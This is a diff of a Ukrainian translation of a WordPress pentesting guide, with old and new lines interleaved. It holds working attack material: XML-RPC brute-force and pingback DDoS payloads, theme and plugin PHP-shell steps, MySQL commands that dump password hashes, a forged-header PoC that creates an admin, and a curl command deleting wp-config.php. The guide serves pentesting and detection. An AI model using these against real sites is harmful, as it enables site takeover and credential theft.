- **Login username enumeration**: Під час входу через **`/wp-login.php`** **повідомлення** **відрізняється**, вказуючи, чи **username** існує чи ні.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
Якщо `xml-rpc.php` активний, ви можете виконати brute-force облікових даних або використати його для запуску DoS атак на інші ресурси. (Ви можете автоматизувати цей процес[ using this](https://github.com/relarizky/wpxploit) наприклад).
|
||||
If `xml-rpc.php` is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (Ви можете автоматизувати цей процес [using this](https://github.com/relarizky/wpxploit) наприклад).
|
||||
|
||||
Щоб перевірити, чи він активний, спробуйте звернутися до _**/xmlrpc.php**_ та надіслати такий запит:
|
||||
To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
|
||||
**Перевірка**
|
||||
```html
|
||||
@ -122,7 +122,7 @@ Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
|
||||
|
||||
**Credentials Bruteforce**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** є деякими з методів, які можна використати для brute-force credentials. Якщо ви знайдете будь-який з них, ви можете надіслати щось на кшталт:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** або **`metaWeblog.getUsersBlogs`** — це деякі методи, які можна використовувати для brute-force credentials. Якщо ви знайдете будь-який із них, ви можете надіслати щось на кшталт:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -132,13 +132,13 @@ Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Повідомлення _"Incorrect username or password"_ у відповіді з кодом 200 має з'являтися, якщо credentials недійсні.
|
||||
Повідомлення _"Incorrect username or password"_ у відповіді з кодом 200 має з'являтися, якщо облікові дані недійсні.
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Використовуючи правильні credentials, ви можете завантажити файл. У відповіді з'явиться шлях ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
Використовуючи правильні облікові дані, ви можете завантажити файл. У відповіді з'явиться шлях ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -168,18 +168,18 @@ Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
|
||||
Також існує **швидший спосіб** брутфорсу облікових даних, використовуючи **`system.multicall`**, оскільки ви можете перевірити кілька комбінацій у одному запиті:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Bypass 2FA**
|
||||
**Обхід 2FA**
|
||||
|
||||
Цей метод призначений для програм, а не для людей, і доволі старий, тому він не підтримує 2FA. Отже, якщо у вас є валідні creds, але головний вхід захищений 2FA, **ви можете зловживати xmlrpc.php щоб увійти з цими creds, обходячи 2FA**. Зауважте, що ви не зможете виконувати всі дії, доступні через консоль, але все ще можете отримати RCE, як пояснює Ippsec у [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Цей метод призначений для програм, а не для людей, і він старий, тому не підтримує 2FA. Отже, якщо у вас є дійсні облікові дані, але основний вхід захищено 2FA, **ви можете зловживати xmlrpc.php, щоб увійти з цими обліковими даними, обходячи 2FA**. Зверніть увагу, що ви не зможете виконати всі дії, доступні через консоль, але все ще можете отримати RCE, як Ippsec пояснює в [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS or port scanning**
|
||||
**DDoS або сканування портів**
|
||||
|
||||
Якщо ви знайдете метод _**pingback.ping**_ у списку, ви можете змусити Wordpress надіслати довільний запит на будь-який хост/порт.\
|
||||
Це можна використати, щоб змусити **тисячі** сайтів **Wordpress** звернутися до однієї **локації** (унаслідок чого там спричиниться **DDoS**), або ви можете використати це, щоб змусити **Wordpress** просканувати якусь внутрішню **мережу** (ви можете вказати будь-який порт).
|
||||
Якщо ви знайдете метод _**pingback.ping**_ у списку, ви можете змусити Wordpress відправити довільний запит на будь-який хост/порт.\
|
||||
Це можна використати, щоб змусити **тисячі** Wordpress **сайтів** звернутися до одного **ресурсу** (внаслідок чого в тому місці спричиниться **DDoS**), або ж використати його, щоб змусити **Wordpress** **сканувати** внутрішню **мережу** (можна вказати будь-який порт).
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -191,9 +191,9 @@ Also there is a **faster way** to brute-force credentials using **`system.multic
|
||||
```
|
||||

|
||||
|
||||
Якщо ви отримуєте **faultCode** зі значенням **більшим** за **0** (17), це означає, що порт відкритий.
|
||||
Якщо ви отримуєте **faultCode** зі значенням **більше** ніж **0** (17), це означає, що порт відкритий.
|
||||
|
||||
Зверніть увагу на використання **`system.multicall`** у попередньому розділі, щоб дізнатися, як зловживати цим методом для спричинення DDoS.
|
||||
Зверніть увагу на використання **`system.multicall`** в попередньому розділі, щоб дізнатися, як зловживати цим методом для спричинення DDoS.
|
||||
|
||||
**DDoS**
|
||||
```html
|
||||
@ -209,15 +209,15 @@ Also there is a **faster way** to brute-force credentials using **`system.multic
|
||||
|
||||
### wp-cron.php DoS
|
||||
|
||||
Цей файл зазвичай знаходиться в корені сайту Wordpress: **`/wp-cron.php`**\
|
||||
Коли цей файл **accessed**, виконується "**heavy**" MySQL **query**, тож його можуть використовувати **attackers** для **cause** **DoS**.\
|
||||
Також за замовчуванням `wp-cron.php` викликається при кожному завантаженні сторінки (коли клієнт запитує будь-яку сторінку Wordpress), що на сайтах з великим трафіком може спричиняти проблеми (DoS).
|
||||
This file usually exists under the root of the Wordpress site: **`/wp-cron.php`**\
|
||||
Коли цей файл **accessed** виконується «важкий» MySQL **query**, тому його можуть використовувати **attackers** для спричинення **DoS**.\
|
||||
Також, за замовчуванням, `wp-cron.php` викликається при кожному завантаженні сторінки (коли клієнт запитує будь-яку сторінку Wordpress), що на сайтах з великим трафіком може спричиняти проблеми (DoS).
|
||||
|
||||
Рекомендується відключити Wp-Cron і створити реальний cronjob на хості, який виконуватиме потрібні дії з регулярним інтервалом (без викликання проблем).
|
||||
Рекомендується відключити Wp-Cron і створити реальний cronjob на хості, який виконуватиме потрібні дії з регулярним інтервалом (без спричинення проблем).
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
Спробуйте отримати доступ до _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ і Worpress site може зробити запит до вас.
|
||||
Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ and the Worpress site may make a request to you.
|
||||
|
||||
This is the response when it doesn't work:
|
||||
|
||||
@ -230,32 +230,32 @@ This is the response when it doesn't work:
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
Цей інструмент перевіряє, чи існує **methodName: pingback.ping** та шлях **/wp-json/oembed/1.0/proxy**, і якщо вони є, намагається їх експлуатувати.
|
||||
Цей інструмент перевіряє, чи існує **methodName: pingback.ping** і шлях **/wp-json/oembed/1.0/proxy**, і якщо існують — намагається їх експлуатувати.
|
||||
|
||||
## Automatic Tools
|
||||
## Автоматичні інструменти
|
||||
```bash
|
||||
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||||
```
|
||||
## Отримання доступу шляхом перезапису біта
|
||||
## Отримати доступ, переписавши біт
|
||||
|
||||
Скоріше цікавинка, ніж реальна атака. У CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) ви могли перевернути 1 біт у будь-якому wordpress файлі. Тобто можна було змінити позицію `5389` у файлі `/var/www/html/wp-includes/user.php`, щоб зробити NOP для операції NOT (`!`).
|
||||
Скоріше цікавинка, ніж реальна атака. У CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) можна було інвертувати 1 біт у будь-якому wordpress-файлі. Отже, можна було інвертувати позицію `5389` файлу `/var/www/html/wp-includes/user.php`, щоб NOPнути операцію NOT (`!`).
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **Панель RCE**
|
||||
|
||||
**Зміна php у використовуваній темі (потрібні admin credentials)**
|
||||
**Модифікація php з використовуваної теми (потрібні admin credentials)**
|
||||
|
||||
Appearance → Theme Editor → 404 Template (праворуч)
|
||||
|
||||
Замініть вміст на php shell:
|
||||
Змініть вміст на php shell:
|
||||
|
||||
.png>)
|
||||
|
||||
Пошукайте в інтернеті, як отримати доступ до оновленої сторінки. У цьому випадку потрібно перейти за адресою: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
Шукайте в інтернеті, як отримати доступ до оновленої сторінки. У цьому випадку потрібно перейти за адресою: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
@ -267,18 +267,18 @@ use exploit/unix/webapp/wp_admin_shell_upload
|
||||
|
||||
## Plugin RCE
|
||||
|
||||
### PHP plugin
|
||||
### PHP плагін
|
||||
|
||||
It may be possible to upload .php files as a plugin.\
|
||||
Створіть ваш php backdoor, наприклад:
|
||||
Може бути можливість завантажити .php файли як плагін.\
|
||||
Створіть ваш php backdoor, наприклад використовуючи:
|
||||
|
||||
.png>)
|
||||
|
||||
Потім додайте новий plugin:
|
||||
Потім додайте новий плагін:
|
||||
|
||||
.png>)
|
||||
|
||||
Завантажте plugin та натисніть Install Now:
|
||||
Завантажте плагін і натисніть Install Now:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -286,62 +286,62 @@ It may be possible to upload .php files as a plugin.\
|
||||
|
||||
.png>)
|
||||
|
||||
Мабуть, це нібито нічого не зробить, але якщо перейти в Media, ви побачите ваш shell, що був завантажений:
|
||||
Можливо, це нічого не покаже на перший погляд, але якщо перейти в Media, ви побачите, що ваш shell було завантажено:
|
||||
|
||||
.png>)
|
||||
|
||||
Відкрийте його і ви побачите URL для виконання reverse shell:
|
||||
Відкрийте його й ви побачите URL для виконання reverse shell:
|
||||
|
||||
.png>)
|
||||
|
||||
### Uploading and activating malicious plugin
|
||||
|
||||
This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows:
|
||||
Цей метод передбачає встановлення шкідливого плагіна, відомого як вразливий, і може бути використаний для отримання web shell. Процес виконується через WordPress dashboard наступним чином:
|
||||
|
||||
1. **Plugin Acquisition**: The plugin is obtained from a source like Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
1. **Plugin Acquisition**: плагін отримується з джерела на кшталт Exploit DB, наприклад [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installation**:
|
||||
- Перейдіть у WordPress dashboard, потім Dashboard > Plugins > Upload Plugin.
|
||||
- Завантажте zip-файл завантаженого плагіну.
|
||||
- Перейдіть у WordPress dashboard, далі `Dashboard > Plugins > Upload Plugin`.
|
||||
- Завантажте zip-файл завантаженого плагіна.
|
||||
3. **Plugin Activation**: Після успішної інсталяції плагін потрібно активувати через dashboard.
|
||||
4. **Exploitation**:
|
||||
- Якщо плагін "reflex-gallery" встановлений і активований, його можна експлуатувати, оскільки він відомий як вразливий.
|
||||
- Metasploit framework надає експлойт для цієї вразливості. Завантаживши відповідний модуль та виконавши потрібні команди, можна встановити meterpreter session, що надає несанкціонований доступ до сайту.
|
||||
- Після встановлення та активації плагіна "reflex-gallery" його можна експлуатувати, оскільки він відомий як вразливий.
|
||||
- Metasploit framework надає експлойт для цієї вразливості. Завантаживши відповідний модуль і виконавши потрібні команди, можна встановити meterpreter session, що дає несанкціонований доступ до сайту.
|
||||
- Варто зазначити, що це лише один із багатьох методів експлуатації WordPress сайту.
|
||||
|
||||
Контент містить ілюстрації, що зображують кроки в WordPress dashboard для встановлення та активації плагіну. Однак важливо зазначити, що експлуатація вразливостей таким чином є незаконною та неетичною без належного дозволу. Цю інформацію слід використовувати відповідально і тільки в легальному контексті, наприклад, під час penetration testing з явним дозволом.
|
||||
Контент містить ілюстрації, що показують кроки у WordPress dashboard для встановлення та активації плагіна. Однак важливо пам'ятати, що експлуатація вразливостей таким чином є незаконною і неетичною без належного дозволу. Цю інформацію слід використовувати відповідально і тільки в легальному контексті, наприклад під час penetration testing за явного дозволу.
|
||||
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## From XSS to RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
|
||||
- _**Privilege Escalation:**_ Створює користувача у WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Завантажує ваш custom plugin (backdoor) у WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Редагує вбудовані плагіни у WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Редагує вбудовані теми у WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Користувацькі експлойти для сторонніх плагінів/тем WordPress.
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ — це скрипт, призначений для ескалації вразливості **Cross-Site Scripting (XSS)** до **Remote Code Execution (RCE)** або інших критичних вразливостей у WordPress. Для детальнішої інформації див. [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Він забезпечує **підтримку для WordPress версій 6.X.X, 5.X.X та 4.X.X і дозволяє:**
|
||||
- _**Privilege Escalation:**_ Створює користувача в WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Завантажити ваш custom plugin (backdoor) у WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Редагувати built-in plugins у WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Редагувати built-in themes у WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Кастомні експлойти для third-party WordPress plugins/themes.
|
||||
|
||||
## Post Exploitation
|
||||
## Пост-експлуатація
|
||||
|
||||
Витягнути імена користувачів та паролі:
|
||||
Витягніть імена користувачів та паролі:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
Змінити пароль адміністратора:
|
||||
Змінити пароль admin:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||||
```
|
||||
## Wordpress Plugins Pentest
|
||||
## Pentest плагінів Wordpress
|
||||
|
||||
### Attack Surface
|
||||
### Атакувальна поверхня
|
||||
|
||||
Знання того, як Wordpress plugin може експонувати функціональність, є ключовим для знаходження вразливостей у цій функціональності. Ви можете знайти, як плагін може експонувати функціональність, у наведених пунктах та переглянути приклади вразливих плагінів у [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
Розуміння того, як плагін Wordpress може відкривати функціональність, ключове для виявлення вразливостей. Нижче наведено пункти, у яких плагін може відкривати функціональність, а також приклади вразливих плагінів у [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Один зі способів, яким Wordpress plugin може виставляти функції для users — через AJAX handlers. Вони можуть містити помилки в логіці, authorization або authentication. Більше того, доволі frequently ці функції будуть базувати і authentication, і authorization на наявності wordpress nonce, який **any user authenticated in the Wordpress instance might have** (незалежно від його role).
|
||||
Один зі способів, яким плагін може відкривати функції для користувачів — через AJAX handlers. Вони можуть містити помилки в логіці, авторизації або аутентифікації. Більше того, часто ці функції базують автентифікацію та авторизацію на наявності wordpress nonce, який може бути у **будь-якого автентифікованого користувача в інстанції Wordpress** (незалежно від ролі).
|
||||
|
||||
These are the functions that can be used to expose a function in a plugin:
|
||||
Нижче — функції, які можуть використовуватися для експонування функції в плагіні:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
@ -349,11 +349,11 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
**Використання `nopriv` робить endpoint доступним для будь-яких користувачів (навіть неавторизованих).**
|
||||
|
||||
> [!CAUTION]
|
||||
> Крім того, якщо функція лише перевіряє авторизацію користувача за допомогою функції `wp_verify_nonce`, ця функція лише перевіряє, що користувач увійшов у систему — вона зазвичай не перевіряє роль користувача. Тому користувачі з низькими привілеями можуть мати доступ до дій, що вимагають високих привілеїв.
|
||||
> Крім того, якщо функція лише перевіряє авторизацію користувача за допомогою функції `wp_verify_nonce`, ця функція лише перевіряє, чи користувач авторизований, зазвичай вона не перевіряє роль користувача. Тому користувачі з низькими привілеями можуть мати доступ до дій з високими привілеями.
|
||||
|
||||
- **REST API**
|
||||
|
||||
Також можливо відкривати доступ до функцій wordpress, реєструючи REST API за допомогою функції `register_rest_route`:
|
||||
Також можливо оприлюднити функції з wordpress, зареєструвавши REST API за допомогою функції `register_rest_route`:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
The `permission_callback` — це callback-функція, яка перевіряє, чи авторизований конкретний користувач для виклику API-методу.
|
||||
The `permission_callback` — це callback-функція, яка перевіряє, чи має конкретний користувач дозвіл викликати метод API.
|
||||
|
||||
**Якщо використовується вбудована функція `__return_true`, вона просто пропустить перевірку прав користувача.**
|
||||
|
||||
- **Direct access to the php file**
|
||||
- **Прямий доступ до php-файлу**
|
||||
|
||||
Звісно, Wordpress використовує PHP, і файли всередині плагінів доступні безпосередньо з вебу. Тому, якщо плагін відкриває вразливу функціональність, яка спрацьовує лише при доступі до файлу, її зможе експлуатувати будь-який користувач.
|
||||
Звісно, Wordpress використовує PHP, і файли всередині плагінів доступні напряму через веб. Тож якщо плагін відкриває вразливу функціональність, яка викликається просто при зверненні до файлу, вона буде експлуатована будь-яким користувачем.
|
||||
|
||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||
### Підміна REST через trusted-header (WooCommerce Payments ≤ 5.6.1)
|
||||
|
||||
Деякі плагіни реалізують «довірені заголовки» як скорочення для внутрішніх інтеграцій або reverse proxies і потім використовують цей заголовок, щоб встановити поточний контекст користувача для REST-запитів. Якщо заголовок не пов'язаний криптографічно з запитом компонентом upstream, атакуючий може підробити його і звертатися до привілейованих REST-маршрутів як адміністратор.
|
||||
Деякі плагіни реалізують скорочення «trusted header» для внутрішніх інтеграцій або реверс-проксі і потім використовують цей заголовок, щоб встановити контекст поточного користувача для REST-запитів. Якщо заголовок не пов'язаний криптографічно з запитом компонентом вище в стеку, нападник може підробити його і звертатися до привілейованих REST-маршрутів від імені адміністратора.
|
||||
|
||||
- Impact: неавторизоване підвищення привілеїв до admin шляхом створення нового адміністратора через основний users REST-маршрут.
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (примушує user ID 1, зазвичай перший акаунт адміністратора).
|
||||
- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
|
||||
- Вплив: неавтентифікована ескалація привілеїв до адміністратора шляхом створення нового облікового запису адміністратора через core users REST route.
|
||||
- Приклад заголовка: `X-Wcpay-Platform-Checkout-User: 1` (примушує ID користувача 1, зазвичай перший обліковий запис адміністратора).
|
||||
- Зловживаний маршрут: `POST /wp-json/wp/v2/users` з масивом ролей із підвищеними привілеями.
|
||||
|
||||
PoC
|
||||
```http
|
||||
@ -393,29 +393,29 @@ Content-Length: 114
|
||||
```
|
||||
Чому це працює
|
||||
|
||||
- Плагін зіставляє заголовок, контрольований клієнтом, зі станом автентифікації та пропускає перевірки capability.
|
||||
- WordPress core очікує capability `create_users` для цього маршруту; експлойт плагіна обходить це, безпосередньо встановлюючи контекст поточного користувача з заголовка.
|
||||
- Плагін відображає заголовок, контрольований клієнтом, у стан автентифікації й пропускає capability checks.
|
||||
- WordPress core очікує capability `create_users` для цього маршруту; хак плагіна обходить це, безпосередньо встановлюючи контекст поточного користувача з заголовка.
|
||||
|
||||
Очікувані індикатори успіху
|
||||
Очікувані ознаки успіху
|
||||
|
||||
- HTTP 201 з JSON-тілом, що описує створеного користувача.
|
||||
- Новий користувач з правами адміністратора, видимий у `wp-admin/users.php`.
|
||||
- HTTP 201 із JSON-тілом, що описує створеного користувача.
|
||||
- Новий адміністратор, видимий у `wp-admin/users.php`.
|
||||
|
||||
Чекліст виявлення
|
||||
|
||||
- Grep для `getallheaders()`, `$_SERVER['HTTP_...']` або vendor SDKs, які читають кастомні заголовки для встановлення контексту користувача (наприклад, `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Перегляньте реєстрації REST на предмет привілейованих callback-ів, які не мають надійних перевірок `permission_callback` і натомість покладаються на заголовки запиту.
|
||||
- Шукайте використання основних функцій управління користувачами (`wp_insert_user`, `wp_create_user`) всередині REST-обробників, доступні лише за значеннями заголовків.
|
||||
- Шукайте за допомогою grep `getallheaders()`, `$_SERVER['HTTP_...']`, або vendor SDKs, які читають кастомні заголовки для встановлення контексту користувача (наприклад, `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Перевірте REST-реєстрації на предмет привілейованих callback-ів, які не мають надійних перевірок `permission_callback` і натомість покладаються на заголовки запиту.
|
||||
- Шукайте використання функцій керування користувачами ядра (`wp_insert_user`, `wp_create_user`) всередині REST-обробників, доступ до яких захищено лише значеннями заголовків.
|
||||
|
||||
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
|
||||
Теми та плагіни WordPress часто відкривають AJAX-обробники через хуки `wp_ajax_` та `wp_ajax_nopriv_`. Коли використовується варіант **_nopriv_** **callback стає доступним для неавторизованих відвідувачів**, тому будь-яка чутлива дія повинна додатково реалізувати:
|
||||
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
|
||||
|
||||
1. Перевірку прав (наприклад, `current_user_can()` або принаймні `is_user_logged_in()`), та
|
||||
2. CSRF nonce, валідацію якого виконують `check_ajax_referer()` / `wp_verify_nonce()`, та
|
||||
3. Строгу санітизацію / валідацію введених даних.
|
||||
1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
|
||||
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
|
||||
3. **Strict input sanitisation / validation**.
|
||||
|
||||
Мультифункціональна тема Litho (< 3.1) пропустила ці три контролі у функції *Remove Font Family* і в результаті містила такий код (спрощено):
|
||||
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -438,7 +438,7 @@ Issues introduced by this snippet:
|
||||
|
||||
* **Неавторизований доступ** – зареєстровано хук `wp_ajax_nopriv_`.
|
||||
* **No nonce / capability check** – будь-який відвідувач може звернутися до endpoint.
|
||||
* **No path sanitisation** – рядок, керований користувачем, `fontfamily` конкатенується з файловим шляхом без фільтрації, що дозволяє класичну `../../` traversal.
|
||||
* **Немає санітизації шляху** – рядок, керований користувачем, `fontfamily`, конкатенується зі шляхом файлової системи без фільтрації, дозволяючи класичний `../../` traversal.
|
||||
|
||||
#### Експлуатація
|
||||
|
||||
@ -448,23 +448,23 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
Оскільки `wp-config.php` розташований поза каталогом *uploads*, на стандартній установці достатньо чотирьох послідовностей `../`. Видалення `wp-config.php` примушує WordPress перейти в *майстер встановлення* при наступному відвідуванні, що дозволяє повне захоплення сайту (атакуючий просто подає нову DB-конфігурацію і створює admin-користувача).
|
||||
Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
|
||||
|
||||
Інші критичні цілі включають файли плагінів/теми `.php` (щоб зламати плагіни безпеки) або правила `.htaccess`.
|
||||
Іншими значущими цілями є `.php` файли плагінів/тем (щоб зламати security plugins) або правила `.htaccess`.
|
||||
|
||||
#### Чекліст виявлення
|
||||
#### Detection checklist
|
||||
|
||||
* Будь-який обробник `add_action( 'wp_ajax_nopriv_...')`, який викликає допоміжні функції файлової системи (`copy()`, `unlink()`, `$wp_filesystem->delete()`, тощо).
|
||||
* Конкатенація неочищених даних від користувача в шляхи (шукайте `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Будь-який `add_action( 'wp_ajax_nopriv_...')` зворотний виклик (callback), який викликає файлові хелпери (`copy()`, `unlink()`, `$wp_filesystem->delete()`, тощо).
|
||||
* Конкатенація неочищених введених даних користувача в шляхи (шукайте `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Відсутність `check_ajax_referer()` та `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
---
|
||||
|
||||
### Privilege escalation через відновлення застарілих ролей та відсутність перевірки авторизації (ASE "View Admin as Role")
|
||||
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
|
||||
|
||||
Багато плагінів реалізують функцію "view as role" або тимчасової зміни ролі, зберігаючи початкові ролі в user meta, щоб пізніше їх відновити. Якщо шлях відновлення покладається лише на параметри запиту (наприклад, `$_REQUEST['reset-for']`) і список, яким керує плагін, без перевірки capabilities та валідного nonce, це перетворюється на вертикальне privilege escalation.
|
||||
Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., `$_REQUEST['reset-for']`) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.
|
||||
|
||||
Реальний приклад було знайдено в плагіні Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Гілка reset відновлювала ролі на основі `reset-for=<username>`, якщо ім'я користувача з'являлося у внутрішньому масиві `$options['viewing_admin_as_role_are']`, але не виконувала ні перевірки `current_user_can()`, ні перевірки nonce перед видаленням поточних ролей та повторним додаванням збережених ролей з user meta `_asenha_view_admin_as_original_roles`:
|
||||
A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on `reset-for=<username>` if the username appeared in an internal array `$options['viewing_admin_as_role_are']`, but performed neither a `current_user_can()` check nor a nonce verification before removing current roles and re-adding the saved roles from user meta `_asenha_view_admin_as_original_roles`:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -481,9 +481,9 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
```
|
||||
Чому це можна експлуатувати
|
||||
|
||||
- Довіряється `$_REQUEST['reset-for']` та опції плагіна без серверної авторизації.
|
||||
- Якщо користувач раніше мав вищі привілеї, збережені в `_asenha_view_admin_as_original_roles`, і його понизили, він може відновити їх, перейшовши за шляхом скидання.
|
||||
- У деяких розгортаннях будь-який автентифікований користувач міг би ініціювати скидання для іншого імені користувача, яке все ще присутнє в `viewing_admin_as_role_are` (порушена авторизація).
|
||||
- Довіряє `$_REQUEST['reset-for']` та опції плагіна без серверної авторизації.
|
||||
- Якщо користувач раніше мав вищі привілеї, збережені в `_asenha_view_admin_as_original_roles`, і його знизили в правах, він може відновити їх, звернувшись до шляху скидання.
|
||||
- У деяких розгортаннях будь-який автентифікований користувач може ініціювати скидання для іншого імені користувача, яке все ще присутнє в `viewing_admin_as_role_are` (некоректна перевірка авторизації).
|
||||
|
